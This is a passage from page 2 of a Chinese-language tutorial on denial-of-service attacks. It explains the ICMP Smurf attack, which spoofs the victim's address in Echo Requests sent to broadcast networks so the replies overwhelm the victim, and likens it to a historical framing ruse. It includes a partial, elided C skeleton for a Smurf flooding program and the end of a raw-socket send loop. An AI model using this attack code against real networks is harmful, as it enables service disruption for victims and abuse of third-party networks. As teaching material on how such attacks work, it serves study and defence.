| 
  {ErrorCode = sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr));
 if (ErrorCode == SOCKET_ERROR)
 printf("\nSend Error:%d\n", GetLastError());
 }
 }
  if (SockRaw != INVALID_SOCKET)closesocket(SockRaw);
 WSACleanup();
 return TRUE;
 }
   ICMP SMURF   攻击者向许多地址发送ICMP Echo Request,但是它却告诉这些地址ICMP Echo Request不是它自己发的,而是"某某"发的,这个"某某"就会成为"众矢之的"。通过伪装目的主机的IP地址,向多个IP 网络的广播地址发送ICMP Echo Request数据包,使得目的主机需要消耗大量CPU 资源和有效带宽来处理来自众多节点的ICMP Reply数据包。该攻击的原理如下图: 
   从图中可以看出,带宽仅为128Kbps的攻击者可以击溃带宽比其更大(512Kbps)的目标,因为ICMP SMURF采用的手段是"借刀杀人"!它本身并不向目标发送ICMP消息,而是向许多远程主机"诬告"攻击目标向他们发送了ICMP Echo,于是这些远程主机纷纷向攻击目标发送ICMP Reply,导致攻击目标崩溃。有明一代名将袁崇焕督师就是因为满人的反间计而被崇祯凌迟,并被当时的北京市民争其肉而食的。网络攻击中的"借刀杀人"照样威力无穷。   一个实现ICMP SMURF的程序框架如下: 
void icmpSmurf(void){
 struct sockaddr_in sin;
 struct hostent *he;
 FILE *bcastfile;
 int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
 char buf[32], **bcastaddr = malloc(8192);
  //…memcpy((caddr_t) &sin.sin_addr, he->h_addr, he->h_length);
 sin.sin_family = AF_INET;
 sin.sin_port = htons(0);
 //…
  x = 0;while (!feof(bcastfile))
 {
 fgets(buf, 32, bcastfile);
 if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0]))
 continue;
   for (i = 0; i < strlen(buf); i++)if (buf[i] == '\n')
 buf[i] = '\0';
 bcastaddr[x] = malloc(32);
 strcpy(bcastaddr[x], buf);
 x++;
 }
  bcastaddr[x] = 0x0;fclose(bcastfile);
 
		      
		      
		      
		      
		      
		      
                        共3页: 上一页 [1] 2 [3] 下一页 |